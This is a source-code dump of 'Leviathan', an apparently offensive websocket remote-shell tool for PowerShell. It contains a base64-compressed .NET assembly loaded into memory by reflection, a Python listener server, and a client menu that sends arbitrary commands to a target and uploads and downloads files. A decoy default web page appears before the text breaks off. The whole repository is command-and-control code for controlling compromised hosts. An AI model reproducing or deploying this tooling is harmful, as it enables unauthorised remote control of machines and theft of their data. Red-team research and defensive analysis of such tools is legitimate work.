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 150 | '@ 151 | $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 152 | $UncompressedFileBytes = New-Object Byte[](94208) 153 | $null = $DeflatedStream.Read($UncompressedFileBytes, 0, 94208) | Out-Null 154 | $null = [Reflection.Assembly]::Load($UncompressedFileBytes) -------------------------------------------------------------------------------- /Leviathan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | #author: @xorrior (Chris Ross) 3 | 4 | import os, cmd, sys, datetime, time 5 | from menus import Main 6 | import argparse 7 | import base64 8 | 9 | 10 | def main(): 11 | parser = argparse.ArgumentParser(description="Start a Leviathan Server") 12 | parser.add_argument('--endpoint', help="Specific IP to bind the listener", required=True) 13 | parser.add_argument('--port', type=int, help="Port to use", required=True) 14 | parser.add_argument('--certfile', help="path to the cert file to use for SSL. Optional.") 15 | 16 | args = parser.parse_args() 17 | 18 | host = args.endpoint 19 | port = args.port 20 | 21 | if not args.certfile: 22 | server = Main.Leviathan(host, port) 23 | else: 24 | server = Main.Leviathan(host, port, certfile=args.certfile) 25 | 26 | try: 27 | print "Listening for client connection...." 28 | server.startServer() 29 | except KeyboardInterrupt: 30 | exit = raw_input("Shutdown Leviathan Listener (Y/N) ??") 31 | if exit.lower() == "y": 32 | sys.exit(0) 33 | else: 34 | pass 35 | 36 | if __name__ == "__main__": 37 | main() 38 | 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Leviathan 2 | A simple, quick, and dirty websocket shell for PowerShell. Utilizes the WebSocket4Net csharp 3 | library (encoded and embedded). Supports secure web socket connections. 4 | 5 | WebSockets allow for a synchronous communications channel between the client and the server. This is a great side channel for 6 | getting interactive with your target. The flexible frame payload size in the WebSockets RFC allow for passing large amounts of 7 | data over the wire with minimal overhead. 8 | 9 | ### Commands 10 | - File upload 11 | - File download 12 | - Native PowerShell commands 13 | 14 | TODO: 15 | - Encryption 16 | - load and execute powershell scripts from memory. 17 | -------------------------------------------------------------------------------- /helpers/KThread.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/helpers/KThread.pyc -------------------------------------------------------------------------------- /helpers/WinduSocketServer.py: -------------------------------------------------------------------------------- 1 | import geventwebsocket 2 | 3 | class WebSocket(geventwebsocket.websocket.WebSocket): 4 | 5 | def read_message(self): 6 | opcode = None 7 | message = '' 8 | 9 | while True: 10 | header, payload = self.read_frame() 11 | f_opcode = header.opcode 12 | 13 | if f_opcode in (self.OPCODE_TEXT, self.OPCODE_BINARY): 14 | # a new frame 15 | if opcode: 16 | raise ProtocolError("The opcode in non-fin frame is " 17 | "expected to be zero, got " 18 | "{0!r}".format(f_opcode)) 19 | 20 | # Start reading a new message, reset the validator 21 | self.utf8validator.reset() 22 | self.utf8validate_last = (True, True, 0, 0) 23 | 24 | opcode = f_opcode 25 | 26 | elif f_opcode == self.OPCODE_CONTINUATION: 27 | if not opcode: 28 | raise ProtocolError("Unexpected frame with opcode=0") 29 | 30 | elif f_opcode == self.OPCODE_PING: 31 | self.handle_ping(header, payload) 32 | continue 33 | 34 | elif f_opcode == self.OPCODE_PONG: 35 | self.handle_pong(header, payload) 36 | continue 37 | 38 | elif f_opcode == self.OPCODE_CLOSE: 39 | self.handle_close(header, payload) 40 | return 41 | 42 | else: 43 | raise ProtocolError("Unexpected opcode={0!r}".format(f_opcode)) 44 | 45 | if opcode == self.OPCODE_TEXT: 46 | self.validate_utf8(payload) 47 | message += payload 48 | 49 | if header.fin: 50 | break 51 | 52 | if opcode == self.OPCODE_TEXT: 53 | self.validate_utf8(message) 54 | return self._decode_bytes(message) 55 | else: 56 | return payload 57 | 58 | geventwebsocket.websocket.WebSocket = WebSocket -------------------------------------------------------------------------------- /helpers/WinduSocketServer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/helpers/WinduSocketServer.pyc -------------------------------------------------------------------------------- /helpers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/helpers/__init__.py -------------------------------------------------------------------------------- /helpers/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/helpers/__init__.pyc -------------------------------------------------------------------------------- /menus/Client.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os, time, sys, datetime, time, zlib 3 | import glob 4 | from pydispatch import dispatcher 5 | import cmd 6 | 7 | 8 | levianthanIntro = ''' 9 | ______ _____________ _________________ ______________ _________ _____ __ 10 | ___ / ___ ____/__ | / /____ _/___ |___ __/___ / / /___ |___ | / / 11 | __ / __ __/ __ | / / __ / __ /| |__ / __ /_/ / __ /| |__ |/ / 12 | _ /____ /___ __ |/ / __/ / _ ___ |_ / _ __ / _ ___ |_ /| / 13 | /_____//_____/ _____/ /___/ /_/ |_|/_/ /_/ /_/ /_/ |_|/_/ |_/ 14 | 15 | ''' 16 | 17 | class Leviathan(cmd.Cmd): 18 | """Class that will serve as the menu for client interaction and handle client data""" 19 | def __init__(self, websocket, clientName, clientUser): 20 | cmd.Cmd.__init__(self) 21 | self.intro = levianthanIntro 22 | self.prompt = "PS %s@%s > " % (clientUser, clientName) 23 | self.do_help.__func__.__doc__ = '''Displays the help menu.''' 24 | self.ws = websocket 25 | self.clientName = clientName 26 | self.clientUser = clientUser 27 | self.sessionLogFile = "sessionLog-%s-%s-%s.txt" % (self.clientName,self.clientUser,time.strftime("%d%m%Y")) 28 | 29 | def preloop(self): 30 | """Initialize the history var""" 31 | cmd.Cmd.preloop(self) 32 | self._hist = {} 33 | 34 | def cmdloop(self): 35 | try: 36 | return cmd.Cmd.cmdloop(self) 37 | 38 | except KeyboardInterrupt: 39 | try: 40 | background = raw_input("Exit Session (Y/N)?") 41 | if background.lower() == 'y': 42 | self.ws.close() 43 | return True 44 | elif background.lower() == 'n': 45 | return cmd.Cmd.cmdloop(self) 46 | except KeyboardInterrupt as e: 47 | raise e 48 | 49 | def postloop(self): 50 | """Print exiting message""" 51 | cmd.Cmd.postloop(self) 52 | print "Exiting websocket session....\n" 53 | 54 | def default(self, line): 55 | "Default Handler" 56 | #YOLO send the command to the powershell client 57 | task = "\x00|"+line 58 | self.sendNewTask(data=task) 59 | 60 | def do_download(self, line): 61 | """Download a file from the client""" 62 | line = line.strip() 63 | task = "\x01|"+line 64 | self.sendNewTask(data=task) 65 | 66 | def do_upload(self, line): 67 | """Upload a file""" 68 | line = line.strip() 69 | if os.path.exists(line): 70 | task = "\x02|" 71 | f = open(line, 'r') 72 | filename = os.path.basename(line) 73 | data = base64.b64encode(f.read()) 74 | data += "|"+filename 75 | task += data 76 | self.sendNewTask(data=task) 77 | else: 78 | print "local file does not exist\n" 79 | pass 80 | 81 | def do_dumphistory(self, line): 82 | """Print all available history""" 83 | history = "" 84 | for time, command in self._hist.iteritems(): 85 | history += "%s %s\n" % (time, command) 86 | 87 | print history 88 | 89 | 90 | 91 | def do_exit(self, line): 92 | """Exit the current WebSocketSession""" 93 | task = "\x03" 94 | encData = base64.b64encode(task) 95 | self.ws.send(encData) 96 | raise KeyboardInterrupt 97 | 98 | def emptyline(self): 99 | pass 100 | 101 | def sendNewTask(self, data): 102 | """Send a new task to the client""" 103 | encData = base64.b64encode(data) 104 | self.ws.send(encData) 105 | 106 | encodedData = self.ws.receive() 107 | clientData = base64.b64decode(encodedData) 108 | self.handleData(clientData) 109 | 110 | def handleData(self, data): 111 | """Parse tasking results""" 112 | taskID = data[0:4] 113 | taskData = data[5:] 114 | 115 | if taskID == "\x00\x00\x00\x00": 116 | '''Command shell''' 117 | try: 118 | print str(taskData.decode('ascii')) + '\n' 119 | except Exception: 120 | pass 121 | 122 | elif taskID == "\x01\x00\x00\x00": 123 | '''File Download''' 124 | fileData, fileName = taskData.split('|') 125 | fileName = fileName.decode('ascii') 126 | f = open(fileName, 'wb') 127 | rawEncData = base64.b64decode(fileData) 128 | rawData = zlib.decompress(rawEncData, -15) 129 | f.write(rawData) 130 | f.close() 131 | print "File saved to %s" % (os.path.abspath(fileName)) 132 | elif taskID == "\x02\x00\x00\x00": 133 | '''File upload''' 134 | print str(taskData.decode('ascii')) 135 | elif taskID == "\x04\x00\x00\x00": 136 | '''Errors executing task''' 137 | print str(taskData.decode('ascii')) 138 | else: 139 | print "task failed" 140 | 141 | 142 | def precmd(self, line): 143 | """Add the command to history""" 144 | if not os.path.exists(self.sessionLogFile): 145 | f = open(self.sessionLogFile, 'w+') 146 | f.write('\n') 147 | f.close() 148 | 149 | f = open(self.sessionLogFile, 'a+') 150 | ts = time.time() 151 | st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H:%M:%S') 152 | f.write("%s:%s\r\n" % (st, line)) 153 | f.close() 154 | self._hist[st] = line 155 | return line 156 | 157 | def complete_upload(self, text, line, begidx, endidx): 158 | "Tab-complete an upload file path" 159 | """ 160 | Helper for tab-completion of file paths. Taken directly from Empire 161 | """ 162 | 163 | # stolen from dataq at 164 | # http://stackoverflow.com/questions/16826172/filename-tab-completion-in-cmd-cmd-of-python 165 | 166 | return self.complete_path(text, line) 167 | 168 | def complete_path(self, text, line, arg=False): 169 | '''Tab completion for local file paths''' 170 | # stolen from empire 171 | # stolen from dataq at 172 | #http://stackoverflow.com/questions/16826172/filename-tab-completion-in-cmd-cmd-of-python 173 | 174 | if arg: 175 | # if we have "command something path" 176 | argData = line.split()[1:] 177 | else: 178 | # if we have "command path" 179 | argData = line.split()[0:] 180 | 181 | if not argData or len(argData) == 1: 182 | completions = os.listdir('./') 183 | else: 184 | dir, part, base = argData[-1].rpartition('/') 185 | if part == '': 186 | dir = './' 187 | elif dir == '': 188 | dir = '/' 189 | 190 | completions = [] 191 | for f in os.listdir(dir): 192 | if f.startswith(base): 193 | if os.path.isfile(os.path.join(dir,f)): 194 | completions.append(f) 195 | else: 196 | completions.append(f+'/') 197 | 198 | return completions 199 | 200 | 201 | -------------------------------------------------------------------------------- /menus/Client.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xorrior/Leviathan/f757b060f1e9115a65e0e941cd8d6577ad3ab5e7/menus/Client.pyc -------------------------------------------------------------------------------- /menus/Main.py: -------------------------------------------------------------------------------- 1 | from helpers import WinduSocketServer 2 | from helpers import KThread 3 | from pydispatch import dispatcher 4 | import Client 5 | import threading 6 | import os, sys, time, cmd 7 | import argparse 8 | import base64 9 | import gevent 10 | from gevent import pywsgi 11 | from geventwebsocket.handler import WebSocketHandler 12 | from geventwebsocket import WebSocketServer 13 | import geventwebsocket 14 | 15 | class Leviathan: 16 | #This is the only way I could think of having clients available across classes. Probably not a good practice 17 | sessions = {} 18 | def __init__(self, BindIP, port, certfile=None): 19 | self.host = BindIP 20 | self.port = port 21 | self.clientName = "" 22 | self.clientUser = "" 23 | self.sessionName = "" 24 | self.certfile = certfile 25 | 26 | def startServer(self): 27 | """Starts the server""" 28 | 29 | if not self.certfile: 30 | server = WebSocketServer((self.host, self.port), self.handleClient) 31 | else: 32 | server = WebSocketServer((self.host, self.port), self.handleClient, self.certfile) 33 | 34 | server.serve_forever() 35 | 36 | def default_response(self): 37 | page = "
This is the default web page for this server.
" 39 | page += "The web server software is running but no content has been added, yet.
